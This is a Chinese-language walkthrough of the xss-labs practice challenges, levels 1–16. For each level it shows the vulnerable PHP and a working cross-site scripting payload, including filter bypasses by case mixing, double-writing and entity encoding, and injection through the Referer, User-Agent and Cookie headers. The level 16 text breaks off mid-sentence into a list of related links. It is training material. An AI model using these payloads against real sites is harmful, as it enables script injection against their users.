xss-labs

Posted 2021-06-18 H3rmesk1t

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了xss-labs相关的知识，希望对你有一定的参考价值。

xss-labs题解

level1
level2
level3
level4
level5
level6
level7
level8
level9
level10
level11
level12
level13
level14
level15
level16
level17
level18
level19
level20

level1

代码审计
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

原理：传入的参数未经过其他处理直接引用导致恶意代码执行引发的XSS漏洞。

Payload：name=<script>alert(1)</script>

level2

代码审计
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

原理：在属性值处发生了转义

Payload：keyword="><script>alert(1)</script>//

level3

代码审计
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

原理：两处都对特殊符号进行了转义，利用标签属性为恶意代码产生自己的事件，并且使用javascript:执行恶意代码；在javascript:后的代码将被解析成js代码执行

Payload：keyword='onfocus=javascript:alert(1)>//

level4

代码审计
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

原理：对特殊字符直接进行替代，但是不够全面，还可以产生恶意代码自身的事件

Payload：keyword="onfocus=javascript:alert(1)>//

level5

代码审计：
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

原理：使用了转义特殊字符函数与匹配替代函数，但是搜索框并没有对标签括号进行替代，也就是说我们可以为其添加自己的标签

Payload：keyword="><a href=javascript:alert(1)>haha</a>

level6

代码审计：
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

原理：更全面的敏感词过滤，但是没有大小写检测

Payload："><a Href=javaScript:alert(1)>haha</a>

level7

代码审计：
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

原理：采用了关键字匹配去除，可以使用双写绕过

Payload："><scrscriptipt>alert(1)</scrscriptipt>//

level8

代码审计：
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

原理：HTML中属性值本身是支持ASCII码的，所以我们可以对属性值进行Unicode编码之后进行传参

思路：敏感字符已经被加下划线过滤；新建标签不可能，双引号也被过滤，所以说也没有办法给属性值闭合；还有小写处理，所以不能大小写混写；没有敏感字符去除，所以不能双写绕过；所以说才考虑到字符编码转码，用Unicode进行编码并且正好插入属性值处，HTML解析之后直接执行

Payload：keyword=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

level9

代码审计：
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

原理：白名单和盲注的感觉；题目要求插入友情链接中必须有网址的格式http://，匹配到之后才认定这是一个合法的网址；否则就会说你的链接不合法；但是仍旧没摆脱编码的魔爪

Payload：keyword=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41; //http://123.com

level10

代码审计：
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

原理：页面隐藏了输入框，并且输入框可以被赋值，没有过滤；属性值注入

Payload：?keyword=1&t_sort=1" οnclick="alert(1)" type=button >//；点击建立的按钮过关

level11

代码审计：
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

原理：http头部xss，对http头部属性信任，未进行过滤直接引用导致的xss漏洞

Payload：Referer:1" οnclick="javascript:alert(1)" type=button >//；抓包改包

level12

代码审计：
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>


原理：仍旧是发生在HTTP头部的XSS注入，这次的位置点是useragent属性，原因是对http头部参数过于信任，过滤不全导致的XSS

Payload：User-Agent:1" οnclick="javascript:alert(1)" type=button > //；抓包改包

level13

代码审计：
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

原理：HTTP头部cookie注入

Payload：Cookie:user=click me!" type="button" οnclick="alert(1)" or user=" type='text' onclick='alert(1)'

level14

代码审计：
无代码，该题为跳转页面至其他地方做题

原理：利用图片XSS

Payload：参考链接：https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12

level15

代码审计：
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

原理：这里用了angularjs的ng-include，直接在包含的页面里用&lt;script&gt;触发不了，用了img标签；遵循SOP，只好调用第一关代码；需要单引号包裹，否则变成注释

Payload：src='level1.php?name=test<img src=1 οnerrοr=alert(1)>'

补充：AngularJS ng-include 指令
ng-include 指令用于包含外部的 HTML 文件；包含的内容将作为指定元素的子节点；ng-include 属性的值可以是一个表达式，返回一个文件名；默认情况下，包含的文件需要包含在同一个域名下

level16

代码审计：
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

原理：这关主要考察的是空格的替代符，回车TAB以及换以上是关于xss-labs的主要内容，如果未能解决你的问题，请参考以下文章 
 xss-labs第三关
 xss-labs第二关
 xss-labs第一关
 xss-labs靶场
 XSS-Lab（XSS注入笔记1-16）
 XSS-Lab（XSS注入笔记1-16）